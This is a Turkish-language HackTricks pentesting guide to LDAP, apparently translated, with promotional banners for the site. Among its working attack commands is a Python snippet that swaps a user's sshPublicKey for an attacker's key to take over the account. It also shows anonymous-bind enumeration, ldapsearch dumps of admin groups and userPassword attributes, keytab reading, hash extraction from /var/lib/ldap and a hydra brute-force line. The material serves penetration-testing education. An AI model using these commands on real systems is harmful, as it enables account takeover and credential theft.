# 389, 636, 3268, 3269 - LDAP Pentesting
AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) öğrenin!
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
**LDAP** (Hafif Dizin Erişim Protokolü) kullanımı, ağırlıklı olarak ağlarda, hem genel hem de özel, kuruluşları, bireyleri ve dosyaları ve cihazları gibi kaynakları bulmak için kullanılır. Önceki sürümü olan DAP'ye kıyasla daha küçük bir kod tabanına sahip olmasıyla daha akıcı bir yaklaşım sunar.
LDAP dizinleri, her biri dizinin **replike** ve **senkronize** bir sürümünü barındıran bir Dizin Sistem Ajanı (DSA) olarak adlandırılan birkaç sunucuya dağıtılmalarına izin vermek üzere yapılandırılmıştır. İstekleri işleme alma sorumluluğu tamamen LDAP sunucusunda bulunur ve gerektiğinde diğer DSA'larla iletişim kurarak talep sahibine birleştirilmiş bir yanıt sunar.
LDAP dizininin organizasyonu, en üstteki kök diziniyle başlayan bir **ağaç hiyerarşisine** benzer. Bu, ülkelerle başlayarak, daha sonra kuruluşlara bölünerek ve ardından çeşitli bölümleri veya departmanları temsil eden kuruluş birimlerine ve nihayetinde insanlar ve dosyalar gibi paylaşılan kaynaklar da dahil olmak üzere bireysel varlıklara ulaşan bir düzeye kadar dallanır.
**Varsayılan bağlantı noktası:** 389 ve 636 (ldaps). Global Catalog (ActiveDirectory'deki LDAP), varsayılan olarak 3268 bağlantı noktasında ve LDAPS için 3269 bağlantı noktasında kullanılabilir.
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
### LDAP Veri Değişim Formatı
LDIF (LDAP Veri Değişim Formatı), dizin içeriğini bir dizi kayıt olarak tanımlar. Ayrıca güncelleme isteklerini (Ekle, Değiştir, Sil, Yeniden Adlandır) temsil edebilir.
```bash
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
* Satırlar 1-3, üst düzey etki alanı local'ı tanımlar.
* Satırlar 5-8, birinci düzey etki alanı moneycorp'u (moneycorp.local) tanımlar.
* Satırlar 10-16, 2 organizasyon birimini tanımlar: dev ve sales.
* Satırlar 18-26, etki alanı nesnesi oluşturur ve değerlerle öznitelikleri atar.
## Veri yazma
Değerleri değiştirebilirseniz, gerçekten ilginç eylemler gerçekleştirebilirsiniz. Örneğin, kullanıcınızın veya herhangi bir kullanıcının "sshPublicKey" bilgisini **değiştirebilirseniz**, bu durumda **ssh'nin genel anahtarları LDAP'tan okuduğu** çok olasıdır. Bir kullanıcının genel anahtarını değiştirebilirseniz, **şifre doğrulamasının ssh'de etkin olmadığı durumda bile o kullanıcı olarak giriş yapabilirsiniz**.
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
## Açık metin kimlik bilgilerini dinleme
LDAP, SSL olmadan kullanılıyorsa, ağda **açık metin kimlik bilgilerini dinleyebilirsiniz**.
Ayrıca, LDAP sunucusu ve istemci arasındaki ağda bir **MITM** saldırısı gerçekleştirebilirsiniz. Burada, istemciye **Aşağı Düzey Saldırısı** yaparak istemcinin **açık metin kimlik bilgilerini** kullanarak giriş yapmasını sağlayabilirsiniz.
**SSL kullanılıyorsa**, yukarıda bahsedilen gibi **MITM** yapmaya çalışabilirsiniz, ancak **sahte bir sertifika** sunarak, **kullanıcı kabul ederse**, kimlik doğrulama yöntemini düşürüp kimlik bilgilerini tekrar görebilirsiniz.
## Anonim Erişim
### TLS SNI kontrolünü atlatma
[**Bu yazıda**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) belirtildiği gibi, LDAP sunucusuna rastgele bir alan adıyla (örneğin company.com gibi) erişerek anonim bir kullanıcı olarak bilgi çekmek mümkündür.
```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### LDAP anonim bağlantıları
[LDAP anonim bağlantıları](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled), etki alanından **kimlik doğrulamasız saldırganların** kullanıcıların, grupların, bilgisayarların, kullanıcı hesap özniteliklerinin ve etki alanı parola politikasının tam bir listesini almasına olanak tanır. Bu, bir **eski yapılandırmadır** ve Windows Server 2003'ten itibaren yalnızca kimlik doğrulanan kullanıcıların LDAP isteklerini başlatmasına izin verilir.\
Ancak, yöneticiler, anonim bağlantılara izin vermek için belirli bir uygulama kurmaları gerekebilir ve istenenden daha fazla erişim vererek kimlik doğrulama yapılmamış kullanıcılara AD'deki tüm nesnelere erişim sağlamış olabilirler.
## Geçerli Kimlik Bilgileri
LDAP sunucusuna giriş yapmak için geçerli kimlik bilgileriniz varsa, aşağıdaki komutu kullanarak Etki Alanı Yöneticisi hakkında tüm bilgileri alabilirsiniz:
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash
pip3 install ldapdomaindump
ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
```
### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap)
## Enumeration
### Otomatik
Bu yöntemi kullanarak **genel bilgilere** (örneğin alan adı gibi) erişebilirsiniz:**:**
```bash
nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials
```
### Python
Python ile LDAP numaralandırma işlemi
Python kullanarak **kimlik bilgileriyle veya kimlik bilgisi olmadan** bir LDAP numaralandırma işlemi yapabilirsiniz: `pip3 install ldap3`
Öncelikle **kimlik bilgisi olmadan** bağlantı deneyin:
```bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
```
Eğer önceki örnekte olduğu gibi yanıt `True` ise, LDAP'nin bazı **ilginç verilerini** (örneğin **adlandırma bağlamı** veya **alan adı**) sunucudan elde edebilirsiniz:
```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
```
Bir kez adlandırma bağlamına sahip olduğunuzda daha heyecan verici sorgular yapabilirsiniz. Bu basit sorgu, dizindeki tüm nesneleri size gösterecektir:
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
Veya tüm ldap'i **dök**ün:
```bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
```
### windapsearch
[**Windapsearch**](https://github.com/ropnop/windapsearch), LDAP sorgularını kullanarak bir Windows etki alanından kullanıcıları, grupları ve bilgisayarları sıralamak için kullanışlı bir Python betiğidir.
```bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
```
### ldapsearch
Boş kimlik bilgilerini kontrol edin veya kimlik bilgilerinizin geçerli olup olmadığını kontrol edin:
```bash
ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC="
ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC="
```
```bash
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
```
Eğer "_bind tamamlanmalı_" şeklinde bir şey bulursanız, bu demektir ki kimlik bilgileri yanlış.
Bir etki alanından **her şeyi çıkarabilirsiniz** kullanarak:
```bash
ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC="
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
```
**Kullanıcıları** çıkar:
```bash
ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC="
#Example: ldapsearch -x -H ldap:// -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
**Bilgisayarları** çıkar:
```bash
ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC="
```
**Bilgilerimi** çıkar:
```bash
ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC="
```
**Domain Admins**'i çıkar:
```bash
ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC="
```
**Domain Kullanıcılarını** çıkarın:
```bash
ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC="
```
**Enterprise Admins**'ı çıkarın:
```bash
ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC="
```
**Yöneticileri** çıkarın:
```bash
ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC="
```
**Uzak Masaüstü Grubu**'nu çıkarın:
```bash
ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC="
```
Eğer herhangi bir şifreye erişiminizin olup olmadığını görmek istiyorsanız, bir sorguyu çalıştırdıktan sonra grep kullanabilirsiniz:
```bash
| grep -i -A2 -B2 "userpas"
```
Lütfen, burada bulabileceğiniz şifrelerin gerçek olmayabileceğini unutmayın...
#### pbis
**pbis**'i buradan indirebilirsiniz: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) ve genellikle `/opt/pbis` dizinine kurulur.\
**Pbis**, temel bilgilere kolayca erişmenizi sağlar:
```bash
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user
./lsa list-groups-for-user
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
```
## Grafik Arayüz
### Apache Directory
[**Apache Directory'yi buradan indirin**](https://directory.apache.org/studio/download/download-linux.html). Bu aracı nasıl kullanacağınıza dair bir [örnek burada bulunabilir](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).
### jxplorer
LDAP sunucusu ile birlikte grafik arayüzü indirebilirsiniz: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
Varsayılan olarak kurulum yeri: _/opt/jxplorer_
![](<../.gitbook/assets/image (22) (1).png>)
### Godap
[https://github.com/Macmod/godap](https://github.com/Macmod/godap) adresinden erişebilirsiniz.
## Kerberos ile Kimlik Doğrulama
`ldapsearch` kullanarak **NTLM yerine** **kerberos üzerinden kimlik doğrulama** yapabilirsiniz. Bunun için `-Y GSSAPI` parametresini kullanın.
## POST
Veritabanlarının bulunduğu dosyalara erişebiliyorsanız (örneğin _/var/lib/ldap_ olabilir), hash'leri aşağıdaki komutu kullanarak çıkarabilirsiniz:
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
john'a şifre hash'ini ('{SSHA}' ile başlayıp 'structural' ile biten, 'structural' kelimesini eklemeyerek) verebilirsiniz.
### Yapılandırma Dosyaları
* Genel
* containers.ldif
* ldap.cfg
* ldap.conf
* ldap.xml
* ldap-config.xml
* ldap-realm.xml
* slapd.conf
* IBM SecureWay V3 sunucusu
* V3.sas.oc
* Microsoft Active Directory sunucusu
* msadClassesAttrs.ldif
* Netscape Directory Server 4
* nsslapd.sas\_at.conf
* nsslapd.sas\_oc.conf
* OpenLDAP dizin sunucusu
* slapd.sas\_at.conf
* slapd.sas\_oc.conf
* Sun ONE Directory Server 5.1
* 75sas.ldif
## HackTricks Otomatik Komutları
```
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
```
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.